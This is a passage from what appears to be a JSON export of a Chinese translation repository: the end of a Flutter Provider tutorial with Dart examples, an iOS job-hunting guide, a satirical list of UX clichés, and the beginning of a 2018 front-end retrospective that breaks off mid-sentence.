的替换方案。这里是一段代码示例：\n\n```dart\nFutureProvider<FirebaseUser>.value(\n  value: FirebaseAuth.instance.currentUser(),\n  child: MyApp(...),\n);\n```\n\n我们使用和上文中 [StreamProvider](https://pub.dev/documentation/provider/latest/provider/StreamProvider-class.html) 相关的例子中一样的对 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 的应用，来在子元素中获取到这个值。\n\n#### ValueListenableProvider\n\n[ValueListenable](https://api.flutter.dev/flutter/foundation/ValueListenable-class.html) 是 [ValueNotifier](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html) 类实现的 Dart 接口，它可以在自身接收的参数发生变化的时候通知监听者。我们可以在一个简单的模型类中，用它来包裹一个计时器：\n\n```dart\nclass MyModel {\n  final ValueNotifier<int> counter = ValueNotifier(0);  \n}\n```\n\n> 如果我们使用的是复杂类型的参数，[ValueNotifier](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html) 将会使用 **`==`** 操作符来确认是否参数值变化了。\n\n让我们来创建一个基础 [Provider](https://pub.dev/packages/provider) 用来容纳主模块，它同时还有一个 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html)，以及一个用于监听 `counter` 属性的嵌套的 [ValueListenableProvider](https://pub.dev/documentation/provider/latest/provider/ValueListenableProvider-class.html)：\n\n```dart\nProvider<MyModel>(\n  builder: (context) => MyModel(),\n  child: Consumer<MyModel>(builder: (context, value, child) {\n    return ValueListenableProvider<int>.value(\n      value: value.counter,\n      child: MyApp(...)\n    }\n  }\n}\n```\n\n> 注意：嵌套的 provider 的类型是 `int`。当然你的代码也会有其他可能的类型。如果有多个 Provider 都注册为同一类型，那么 [Provider](https://pub.dev/packages/provider) 将会返回最“近”的一个（距离最近的父级组件）。\n\n如下代码可以监听任意子组件的 `counter` 属性：\n\n```dart\nclass MyWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return Consumer<int>(\n      builder: (context, value, child) {\n        return Text(value.toString());\n      },\n    );\n  }\n}\n```\n\n如下代码可以**更新**其他组件的 `counter` 属性。注意：我们首先需要获取原始的 `MyModel` 实例。\n\n```dart\nclass OtherWidget extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return FlatButton(\n      child: Text('Update'),\n      onPressed: () {\n        final model = Provider.of<MyModel>(context);\n        model.counter.value++;\n      },\n    );\n  }\n}\n```\n\n#### MultiProvider\n\n如果我们应用了多个 [Provider](https://pub.dev/packages/provider) 组件，我们可能会在 app 根结点写出这样很丑陋的多层嵌套的结构：\n\n```dart\nProvider<Foo>.value( \n  value: foo, \n  child: Provider<Bar>.value( \n    value: bar, \n    child: Provider<Baz>.value( \n      value: baz , \n      child: MyApp(...)\n    ) \n  ) \n)\n```\n\n[MultiProvider](https://pub.dev/documentation/provider/latest/provider/MultiProvider-class.html) 则允许我们在同一层级声明所有的 provider。但这仅仅是一种[语法糖](https://en.wikipedia.org/wiki/Syntactic_sugar)；它们实际上还是嵌套的。\n\n```dart\nMultiProvider( \n  providers: [ \n    Provider<Foo>.value(value: foo), \n    Provider<Bar>.value(value: bar), \n    Provider<Baz>.value(value: baz), \n  ], \n  child: MyApp(...), \n)\n```\n\n#### ProxyProvider\n\n[ProxyProvider](https://pub.dev/documentation/provider/latest/provider/ProxyProvider-class.html) 是个很有趣的类，它发布于 [Provider](https://pub.dev/packages/provider) 包的 v3 版本。这让我们可以声明依赖于其他 6 种 Provider 的 Provider。在下面这个例子中，`Bar` 类依赖于 `Foo` 的实例。当我们需要建立有赖于其他服务的根服务集时，这就很有用了。\n\n```dart\nMultiProvider ( \n  providers: [ \n    Provider<Foo> ( \n      builder: (context) => Foo(),\n    ), \n    ProxyProvider<Foo, Bar>(\n      builder: (context, value, previous) => Bar(value),\n    ), \n  ], \n  child: MyApp(...),\n)\n```\n\n> 第一个范型参数是 [ProxyProvider](https://pub.dev/documentation/provider/latest/provider/ProxyProvider-class.html) 的类型，第二个是它需要返回的类型。\n\n#### 同时监听多个 Provider\n\n如果我们想要一个组件同时监听多个 Provider，并且当任意一个被监听的 Provider 发生变化时都要重构组件，那我们该怎么做呢？使用 [Consumer](https://pub.dev/documentation/provider/latest/provider/Consumer-class.html) 组件的变量，我们最多可以监听 6 个 Provider。我们将会在 `builder` 方法的附加参数中获取它们的实例。\n\n```dart\nConsumer2<MyModel, int>(\n  builder: (context, value, value2, child) {\n    //value 是 MyModel 类型\n    //value2 是 int 类型\n  },\n);\n```\n\n#### 总结\n\n通过学习 [InheritedWidget](https://api.flutter.dev/flutter/widgets/InheritedWidget-class.html) 和 [Provider](https://pub.dev/packages/provider)，我们学会了如何使用 “Flutter 式” 的方法管理状态。组件可以获取并监听状态对象，并同时将内部的通知机制抽象并隔离掉。这种方法通过提供勾子来创建并按需分发状态对象，帮助我们管理了它的生命周期。它可以应用于依赖注入，或者甚至可以作为更复杂的状态管理选择的基础。它已经获取了 Google 的赞许，同时 Flutter 社区也在给予更多的支持，因此选择它肯定是一个风险很小的决策。何不今天就一起来试试看 [Provider](https://pub.dev/packages/provider) 呢！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-complete-guide-to-getting-hired-as-an-ios-developer-in-2018.md",
    "content": "> * 原文地址：[A Complete Guide to Getting Hired as an iOS Developer in 2018](https://blog.usejournal.com/a-complete-guide-to-getting-hired-as-an-ios-developer-in-2018-d7dcf50dc25)\n> * 原文作者：[Rob Caraway](https://blog.usejournal.com/@robcaraway?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-complete-guide-to-getting-hired-as-an-ios-developer-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-complete-guide-to-getting-hired-as-an-ios-developer-in-2018.md)\n> * 译者：[melon8](https://github.com/melon8)\n> * 校对者：[Park-ma](https://github.com/Park-ma)\n\n# 2018 年 iOS 开发找工作完全指南\n\n## 或如何避免浪费你人生的两千个小时\n\n![](https://cdn-images-1.medium.com/max/1600/1*CSEtc6xuG1-Va_JWQC7naQ.jpeg)\n\n我被一份耗费了我三个半月精力的工作拒绝了。\n\n我做了所有的准备。那个公司的一切就是我的一切。我几乎可以告诉你所有关于那家公司创始人在网上发表的东西。\n\n我大概十分天真了。\n\n想象一下，我写了一篇很长的博客，里面全是实际的代码和如何改进他们应用程序的例子。因为我就是这么做的。\n\n尽管我投入了所有的精力，我还是得**大声**说，得到这份工作是不可能的。我不想相信，但说出来还让我感到了一点安慰。\n\n几个月后，我终于吸引了他们的注意。我和他们的 CTO 通了电话，聊得很愉快，他们邀请我参加编程挑战。\n\n我花了一周的时间来做到完美，他们的团队也表示对我的代码印象深刻。我自信心高涨，感到自己很安全。\n\n然后，我参加了他们的结对编程测试。\n\n> 两天后，我收到一封拒绝邮件。他们告诉我，我不是很合适。超过 2000 个小时来学习换来了一小时的教训。\n\n我瘫倒在沙发上。他们是对的。我并没有真的符合他们的需求 —— 我只是花了几个月的时间说服自己我做到了。\n\n回想起来，很容易看出我的行为是多么荒唐和危险。我猜原来的我太害怕被拒绝，想要尽自己所能来减少被拒绝的可能性。\n\n> 也许我们大多数人需要处理这种负能量 —— 把简历群发给每个可能的公司，然后石沉大海没有回应。\n\n在遭到可怕的拒绝后，我醒悟过来了(好像我别无选择)。于是我重新制定了一个实际可行的策略，并最终被一家我认为非常合适的公司应聘为 iOS 开发人员。\n\n### 本篇指南旨在实现的目标：\n\n我概述的这些策略**不需要先前的人际关系网络**，并且是那些希望获得**全职工作**的 iOS 开发者。虽然你不需要认识任何人，但知道如何沟通和推销自己还是有帮助的。\n\n**你需要做大量的工作** —— 意思是以下任一条或全部：\n\n*   你发布的可以下载的应用程序\n*   你启动或参与的开源项目\n*   你作为该领域的意见领袖创造的内容\n*   或其他相关工作经验\n\n**如果你没有任何可以推销的东西，那我也帮不了你。**\n\n到本指南的结尾，你就会知道在 2018 年，在一家开发面向消费者的应用的公司获得一份 iOS 开发工作需要做出什么准备工作。\n\n#### 关于我的背景：\n\n我从 iOS4 开始就开始开发 app。我没有大学学位。我从未有过全职工作，也从未在“敏捷”开发环境或大的团队中工作过。\n\n许多公司因为我没有大团队工作经验和没有大学文凭的简历拒绝了我。\n\n但我也不是空手而去。我自己开发上架的应用被[下载了 100 万次](https://medium.com/@thecaraway/how-i-lean-startupd-my-way-to-240k-on-the-saturated-app-store-92862ba3c6fc)。我与人合作创办了一家（低成本的）初创公司，并以自由职业者的身份与一些很酷的客户合作。我有很好的公共项目来展示我的技能。\n\n我在一个主要的科技市场(德克萨斯州奥斯丁)找到了工作，也得到了一些远程工作机会。我被聘为高级职位。我想我的经历对初级和中级程序员也有帮助。\n\n**在我们跳进沉重的东西之前：**\n\n> **我最终被录用的第一条规则是：把所有的事情都记录下来！**\n\n对公司做笔记，跟踪哪些简历和求职信有用，每次面试后做笔记，这些会帮助你变得更快更好。\n\n### 搞定你的 iOS 简历\n\n不想重复造轮子，所以如果你有时间，请[阅读这篇编写开发人员简历指南](https://medium.freecodecamp.org/how-to-write-a-good-resume-in-2017-b8ea9dfdd3b9)。\n\n如果你没有时间：\n\n#### 我曾经被应聘时的简历的一个稍微修改过的版本：\n\n![](https://cdn-images-1.medium.com/max/800/1*4xXwKJBUGdKxfn9Rrs1mVg.png)\n\n> 你的简历应该简单易读。以一种易于阅读的格式列出你的成就，优先列出让你看起来最好的事情。\n\n**你的简历应该有：**\n\n*   教育背景（如获得学位或选修重要课程）\n*   工作经验\n*   开源项目（提供链接）\n*   你的个人应用程序（如果可能的话提供链接）\n*   最相关的技术技能（保持最小篇幅）\n*   其他值得注意的事情（你参加的俱乐部，你举办的开发者见面会，你赢的黑客马拉松）\n\n**不**要提及你是高级还是初级开发。让你的简历说明一切。\n\n**对你的简历维护几个版本**。每个版本都应该尽量根据不同公司的个性调整描述细节。\n\n不是让你去撒谎，而是以不同公司最看重的方面来推销自己。\n\n### 获得成功的其他方法\n\n#### 建立一个很棒的个人网站。\n\n你的网站可以表达出简历无法表达的东西。[看看我的个人网站](http://robcaraway.com/about/)。当我走进 [InMotion Software](http://www.inmotionsoftware.com/) 的办公室时，他们打开了我的个人网站的 about me 页面。几天后他们给了我 offer。\n\n[这是另一个很好的个人网站的例子](https://peterlyons.com/)。保持网站的整洁，用**你潜在雇主希望看到的方式**准确地表达你做了什么。\n\n如果你不得不撒谎，你可能是在努力争取一个并不适合你的职位。没关系。调整你的期望，重新准备。\n\n如果你不擅长 web 开发，请坚持在 Squarespace 或者 Wordpress 上建立你的网站。\n\n**如果了解网页开发，建立你自己的网站**。我使用了 Node.js 和 Hexo。这表明，如果需要的话，我很乐意跳到其他的代码领域，这不会损害雇主的利益。\n\n#### 建立强大的 LinkedIn 页面。\n\n如果你认为 LinkedIn “很挫”，那你就是在和自己过不去。我就通过 LinkedIn 得到了了一些工作机会。\n\n![](https://cdn-images-1.medium.com/max/600/1*cQ2mbHxy07bYePiL7I4O4Q.png)\n\n截至 2018 年中\n\n[看看我的 LinkedIn 页面](https://www.linkedin.com/in/rob-caraway/)。你没必要成为 LinkedIn 方面的专家：我去年才开始真正地研究它。\n\n要保持更新并且**有一个自己的好看的照片**。我拍了一张我满意的自拍上去。用编辑照片的 app，修修图。多练习可以让你拍出更好的照片。\n\n添加特定的关键字到你的个人资料中，以助你出现在你期待的某些搜索关键词下面。\n\n想象一下，如果你生活在一个不是奥斯丁这样竞争激烈的地区，你可能很快就会脱颖而出。\n\n### 以聪明的方式申请工作\n\n这里有一些找到 iOS 开发工作的好方法：\n\n*   查看 [Angel.co](https://angel.co/) 上面的工作（搜索在你的工作地和“支持远程工作”的工作）\n*   Google 搜索 “iOS 开发人员的工作 [首选城市]”。谷歌，Glassdoor，ZipRecruiter 和 Indeed 会弹出相关结果。\n*   Google 搜索 “远程 iOS 开发”\n*   检查你的 Stack Overflow 板块，做出漂亮的个人页面\n*   Github 同上\n*   在 LinkedIn 上 搜索 iOS 开发者职位\n*   参加相关的技术活动\n\n最后一个好地方 —— 通常城市会有一个本地的技术网站。奥斯丁有 [BuiltInAustin](https://www.builtinaustin.com/jobs)。实际上我就是通过这个板块找到了我现在工作的公司的职位。\n\n> 在你的搜索中使用的关键词：移动，应用，iOS, Swift，开发者，工程师，程序员，远程，架构师，iPhone\n\n在你喜欢的文档应用(我用的是苹果备忘录)中记录工作列表。\n\n> 记录他们的网站、他们的应用程序、他们的 glassdoor 评论以及其他的你喜欢（或不喜欢）每家公司的哪些方面。\n\n找到一种你感觉可持续的申请速度。你需要足够的时间去做一些基本的准备工作。\n\n我发现每周申请两到三家公司对我来说最合适，但如果你已经有了全职工作，你可能每两周甚至更慢地申请一次 —— 如果你坚持下去，那也没什么问题。\n\n想想是什么让你为每个公司感到兴奋。你可能不是对他们的产品充满热情，但你喜欢他们公司的技术、文化、你可能学到的东西，或者他们帮助的人。\n\n#### 写求职信\n\n在做了充分研究之后，你可能会注意到一些让你喜欢上这家公司的地方。也许他们在招聘广告中特别提到的一些事情引起了你的共鸣。\n\n用这些来表达为什么你是一个非常合适的人选，以及你想从他们那里得到怎样的反馈。\n\n稍微放松随意一些。没有面试官愿意听让人发困的企业行话和 500 字毫无意义的独白。\n\n把你对公司做笔记的时候提到的积极的方面拿出来，并提出一两件引起你注意的事。简单地用你自己的方式说一下为什么你认为自己可以胜任。\n\n#### 这里有一封我用过的求职信，让我得到了一个电话面试机会：\n\n![](https://cdn-images-1.medium.com/max/800/1*vjgAq86vcjnwb3Wx3OkKZg.png)\n\n注意到它甚至有一个错字 😂 （尽管我不建议这样做）\n\n请注意我是如何把自己缺乏团队经验说成是一件我急于克服的事情（这是真的）。\n\n像你的简历一样，记录你用过的求职信的几个版本，注意哪些有用，哪些没有用电子表格。\n\n### 为编程挑战做准备\n\n编程挑战是一个测试你知识和编码技能的小练习，你可以在自己的时间内（通常是在一个宽松的期限内）做。\n\n编程挑战通常由一个或两个视图控制器组成，并要用到一个或两个相关技术（如网络和 core data）。\n\n我不打算透露所有公司的准确的题目，但我想，即使是我申请的公司，如果有更多的应聘者做好准备，并且对公司想让应聘者知道的东西有足够的了解，公司也会很感激的。\n\n#### 不说的太具体，下面是一些我遇到的几个编程挑战中所做的关键工作：\n\n*   [AutoLayout](https://www.raywenderlich.com/125718/coding-auto-layout) 和 [Autoresizing](https://stackoverflow.com/questions/12986130/proper-autoresizingmask) 视图\n*   调整文本大小以适应不同的屏幕（[Dynamic Text](https://www.raywenderlich.com/77092/text-kit-tutorial-swift)）\n*   使用基本 API 进行网络请求\n*   使用 TableViews 和 CollectionViews\n*   用 Core Data，UserDefaults 或存档来持久化数据\n*   知道如何使用 storyboards，也要准备好以纯代码方式编写视图和控制器\n*   [Size classing](https://www.raywenderlich.com/162311/adaptive-layout-tutorial-ios-11-getting-started)\n*   异步加载图片并在主线程上显示\n*   向 tableview 或 collection view 添加无限滚动\n*   将代码模块化。不要把所有东西都塞进视图控制器。了解如何构建不可变的模型和服务层对象。\n\n以上这些内容也可能会出现在面试中。\n\n你不可能写出完美的代码。这是可以接受的：\n\n> 当你写代码的时候，如果你知道代码不完美，你可以用 //TODO 或 //FIXME 来说明你将如何改进它，以向团队展示你知道你必须做的权衡。\n\n别人也会看你是否有能力做出人们喜欢的产品。如果你知道如何让它超快、平滑、漂亮，即使他们没有要求（如果你也有时间），你也要去做，除非他们明确说不需要做。\n\n### 如何处理结对编程挑战\n\n**不是每个公司都会做这一部分，但是值得注意。**\n\n对于结对编程，你可能要处理你在编码挑战中创建的代码，或者处理与公司希望你编写的代码类型类似的任务。\n\n不幸的是，你不能真的“伪造”这一部分。你必须相信你的直觉，因为在你不认识的人面前，你无法立即改变自己的行为。\n\n> 不要紧张，在任务中要玩得开心。如果事后你觉得不太顺利，记下你能做得更好的事情。\n\n如果你想练习，那就坐在你朋友旁边一起做一些项目。越多越好。\n\n### 搞定面试\n\n你需要准备好谈论的话题：\n\n*   大 O 符号。Swift/Obj-C 中的时间复杂度的例子\n*   数据结构\n*   用 Swift 创建一个 LinkedList（以防万一）\n*   Struct vs. Swift 的类\n*   了解 Swift 标准库数据结构是如何工作的（基本程度）\n*   MVC, [MVVM](https://www.raywenderlich.com/192471/design-patterns-by-tutorials-mvvm)\n*   你在编程挑战中写的代码或：\n*   为解决类似公司面临的问题你可能会编写的代码\n*   你的兴趣和目标与公司的目标是如何一致的\n*   “你认为5年后你的职业生涯会怎样”之类的问题很可能会出现\n\n对一家公司产生兴趣往往是一种“假装直到你成功”的情况。你越是研究并找出对公司有意义的贡献的方式，你的兴趣就越会“神奇地”与他们保持一致。\n\n不过，不要太强迫自己 —— 那些有着糟糕的 Glassdoor 评论和零星任务的公司几乎总是你需要避开的坑。\n\n我所注意到的（虽然不是绝对的规则）：公司越大，面试就显得越学术。准备好应对来自大公司问题中的“陷阱”吧。\n\n小公司通常会有更少的形式，因为他们不需要它。\n\n#### 其他重要的准备方法：\n\n*   读 [Advanced Swift](https://www.objc.io/books/advanced-swift/)\n*   在你的业余时间参加 [swift 在线测验](https://www.hackingwithswift.com/test)\n*   阅读 [Cracking the Coding Interview](https://www.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/0984782850/ref=pd_lpo_sbs_14_t_0?_encoding=UTF8&psc=1&refRID=DC92Y76B7Z8DXK6VWH9T)，特别是关于数据结构和时间复杂度的部分。\n\n### 最后的想法\n\n找到渴望得到工作和完全不关心你得到的工作之间的平衡。\n\n如果你坚持上述的过程，你会变得更好 —— 我得到的这份工作使用的简历和我刚开始找工作时投递的简历看起来完全不同。我学会了用一种更淡定的态度来处理面试。\n\n让这个过程给你翅膀。每次被拒绝都会让你变得更好，所以要奖励自己的进步，而仅仅是关心你是否得到了这份工作。\n\n最后，如果你住在奥斯汀地区：[InMotion Software 正在招聘](https://www.builtinaustin.com/company/inmotion-software/jobs)！:) 我和他们一起工作很开心。\n\n### 学习如何制作令人惊叹的应用程序等等\n\n如果你从这篇文章中有所收获，Rob Caraway 写了关于**应用程序开发、创业和建立一个伟大的开发者职业生涯的详细指南**。[在这里注册就会得到通知](http://robcaraway.com) **是他自己的想法。**\n\n* * *\n\n#### 这篇文章从哪来的\n\n这个文章发表在 [Noteworthy](http://blog.usejournal.com) 上，每天都有成千上万的人来这里了解塑造我们喜爱的产品的人们和想法。\n\n跟随我们的出版物去看更多的产品和设计的故事，由 [Journal](https://usejournal.com/?utm_source=usejournal.com&utm_medium=blog&utm_campaign=guest_post) 团队提供。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-comprehensive-and-honest-list-of-ux-clichés.md",
    "content": "> * 原文地址：[A comprehensive (and honest) list of UX clichés](https://uxdesign.cc/a-comprehensive-and-honest-list-of-ux-clich%C3%A9s-96e2a08fb2e9)\n> * 原文作者：[Fabricio Teixeira](https://medium.com/@fabriciot)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-comprehensive-and-honest-list-of-ux-clichés.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-comprehensive-and-honest-list-of-ux-clichés.md)\n> * 译者： [Fengziyin1234](https://github.com/Fengziyin1234)\n> * 校对者：[gs666](https://github.com/gs666), [Endone](https://github.com/Endone)\n\n# 曝光！UX 行话大全\n\n> 菜鸟指南\n\n![](https://cdn-images-1.medium.com/max/4804/1*Qdx2MMrjk-mHxFCLVR9Otw.png)\n\n**“你不是你的产品的用户”**  \n这句话是在提示，你不是在为和你一样的用户设计产品。通常被用来鼓励对一个项目做更多的用户调研。\n\n**“每当我问顾客需要什么的时候,他们总是会说需要跑得更快的马。”——亨利·福特**  \n当你发现你并没有时间和金钱来做足够的用户调研时，通常可以用这句话来回答上一句话。\n\n**“我们测试的是设计，不是你的技能”**  \n在测试阶段的一开始，这句话通常被用来安慰用户：放心，不是你们蠢，是我们还在测试我们的设计。\n\n**“设计师应该在会议中有一席之地”**  \n当你发现，你每日的工作并不能证明你的战略价值时，你通常用这句话来请求参加重要的会议。\n\n**“选项的数量应该被限制在 7，正负不超过 2”**  \n“选项的数量应该在 5 到 9 个之间。”这句话的另一种说法。听起来似乎范围会比较小！当然，每一个优秀的设计师都知道，选择应该只有 1 或者 2 个。\n\n**“人们需要的不是钻头，而是墙上打好的洞”**  \n等等，他们真的想要一个洞吗？或者他们想要的其实是无线蓝牙，所以不需要任何洞。\n\n**“UX 应该是一种思维方式，而不是设计过程中的一个步骤”**  \n当你意识到 deadline 快到了，而你却没法完交付的时候，你通常试图在事后用这句话来说服 PM 给你的项目延期。\n\n**“内容才是王道”**  \n一个非常强硬的论据(狡辩)。用来说服大家，你之所以推迟 deadline，是因为你还没有收到你所设计的页面的内容。\n\n**“永远不要低估用户的愚蠢”**  \n如果给用户足够的上下文，那么他们就知道该做什么了！行之有效的甩锅大法（论如何成为优秀的设计师）。\n\n**“我很担心这么做会不会破坏可访问性标准”**  \n当你想要 diss 别的设计师的设计，却找不到任何有效论点时的终极杀手锏。\n\n**“用户界面就想是一个笑话；如果还需要去解释它，我只能说它还不够好”**  \n打消老板提出的做用户引导的需求的简单方法。小心玩脱：别人可能会同意你的意见，并将产品做的不好的锅甩给你。\n\n**“人们并不会上下滚页面”**  \n激怒设计师的最好方法。（译者注：我也没懂这个梗，大概就是在以前，大家总说要 above fold，然后设计师一直很不爽这个说法）\n\n**“人们都很习惯上下滚动页面；想想你是怎么使用 Instagram”**  \n针对上一句话的礼貌回答方法。句中的 Instagram 可以用其他任何你说法对象沉迷的 Feed 类产品替换。\n\n**“Fold 并不存在”**  \n如果你不能说服他们，那就让他们懵圈。\n\n**“UI vs. UX”**  \n`@#@AjYsa¥%@#¥%……&*（%#s¥%#`。这句话通常接着的是一些更加陈词滥调的，例如番茄酱瓶（见第上文图）或未铺砌的走道之类的类比。\n\n**“所有的页面都应该能在3次点击之内到达”**  \n听听就行，别理他。\n\n**“设计师还得写代码？”**  \n在设计会议的提问环节无话可说时可以用来提问的万能金句。  \n\n**“如果你觉得一个好的设计很贵，你应该看看一个不好的设计的代价”**  \n委婉地拒绝金主爸爸的还价。通常效果不理想。 \n\n**“你没法设计一个体验；体验因为太主观而没法设计”**\n如何在无话可说时，成为一名体面而机智的同事。\n\n**“交给用户决定”**  \n不要再吵了，交给~~法院~~用户来决定吧。 当然，最终对的人一定是我。\n\n**“人们不再通过首页来访问网站了”**  \n在 SEO 时代 (2005–2008) 非常流行，通常用来停止老板们对于首页的无尽的讨论。\n\n**“除了我们，也只有毒贩称他们的客户为用户了”**  \n完全不能解释这句话存在的意义。曾在 UX 刚刚出现的21世纪初期被大量使用，并伴随着“设计成瘾”时代的而再一次流行。\n\n**“自动扶梯坏了，那也是个楼梯”**  \n最初被用来解释[优雅降级](https://www.w3.org/wiki/Graceful_degradation_versus_progressive_enhancement)，现被程序员拿来搪塞产品负责人，这个 bug 不用修。\n\n**“移动端的用户总是在分心的状态”**  \n依旧有些人觉得人们只会在边买菜，边驯鹿的同时才会使用移动设备吧。\n\n**“你不知道你不知道的事情”**\n大实话，确实没人知道。\n\n**“请放下你无谓的自尊”**\n极具“启发性”的言论，适合在用户测试环节或合作环节前分享给同事。装裱并挂在奉行“真·合作至上”的办公室入口显得逼格很高。\n\n**“~~奥迪双钻~~双钻石理论”**  \n哈喽，我们需要一个可以展现我们设计流程的 PPT — 你能想出一些相对简单易懂的东西，让我们看起来不那么乱么？\n\n**“用户从来不读”**  \n被大量使用来说服用户和老板们，让他们把内容中文字的数量减半。当然如果你都读到这里了，那你就是“证明这句话是错的”的一个活生生的例子\n\n### 你有什么没有这里被列出来的行话么，快快添加到下面的评论里吧～\n\n这是一篇以讽刺为主的文章，我用了幽默，讽刺和夸张的表达方法。更多的专业文章请详见 [UX 设计师的旅程](http://journey.uxdesign.cc)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-comprehensive-look-back-at-frontend-in-2018.md",
    "content": "> * 原文地址：[A comprehensive look back at front-end in 2018](https://blog.logrocket.com/a-comprehensive-look-back-at-frontend-in-2018-8122e724a802)\n> * 原文作者：[Kaelan Cooter](https://blog.logrocket.com/@eranimo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-comprehensive-look-back-at-frontend-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-comprehensive-look-back-at-frontend-in-2018.md)\n> * 译者：[Ivocin](https://github.com/Ivocin)\n> * 校对者：[Junkai Liu](https://github.com/Moonliujk), [wuzhe](https://github.com/wznonstop)\n\n# 2018 前端全面回顾\n\n拿一杯咖啡，坐下来，慢慢品读。我们的回顾不容错过。\n\n![](https://cdn-images-1.medium.com/max/800/1*h4mMvgiilV-JPS1Ytpndyg.png)\n\nWeb 开发一直是一个快速发展的领域 —— 我们很难跟上在过去的一年中所有的浏览器变更、函数库的发布以及冲击思维的程序设计趋势。\n\n前端行业每年都在增长，这使得普通开发者很难跟上。因此让我们退后一步，回顾一下 2018 年 Web 开发社区发生了哪些变化。\n\n我们目睹了过去几年 JavaScript 爆炸式的发展。随着互联网对全球经济变得更加重要，谷歌和微软等巨头意识到他们需要更好的工具来创建下一代 Web 应用程序。\n\n在这种环境下，以 ECMAScript 2015（又名 ES6）为开端，JavaScript 被引领出自创造以来最大的变革浪潮。现在 JavaScript 每年发布的版本都为我们带来了令人兴奋的新特性：如类、生成器、迭代器、promise、全新的模块系统等等。\n\n这开启了 Web 发展的黄金时代。许多最流行的工具、函数库和框架在 ES2015 发布后立即流行了起来。即使主流浏览器厂商对新标准的支持还未过半，[Babel](https://babeljs.io/) 编译器项目就让成千上万的开发人员抢先一步尝试新功能。\n\n前端开发者首次不需要被他们公司需要支持的最古老的浏览器限制，可以按照自己的节奏自由创新。三年和三个 ECMAScript 版本之后，这个 Web 开发的新时代并没有放缓前进的脚步。\n\n### JS 语言的新特性\n\n与之前的版本相比，ECMAScript 2018 的功能相当简单，只添加了[对象 rest/spread 属性](https://github.com/tc39/proposal-object-rest-spread)，[异步 iteration](https://github.com/tc39/proposal-async-iteration) 和 [Promise.finally](https://github.com/tc39/proposal-promise-finally)，Babel 和 [core-js](https://github.com/zloirock/core-js#stage-3-proposals) 现在已经支持了所有这些新特性。[大多数浏览器](http://kangax.github.io/compat-table/es2016plus/#test-Asynchronous_Iterators)和 [Node.js](https://node.green/) 全部都支持了ES2018，除了 Edge，它只支持 Promise.finally。对于许多开发人员来说，这意味着他们所需的所有语言特性都被他们需要兼容的浏览器支持了 —— 甚至有人怀疑 Babel 是否真的是必需的了。\n\n### 新的正则表达式特性\n\nJavaScript 一直缺乏像 Python 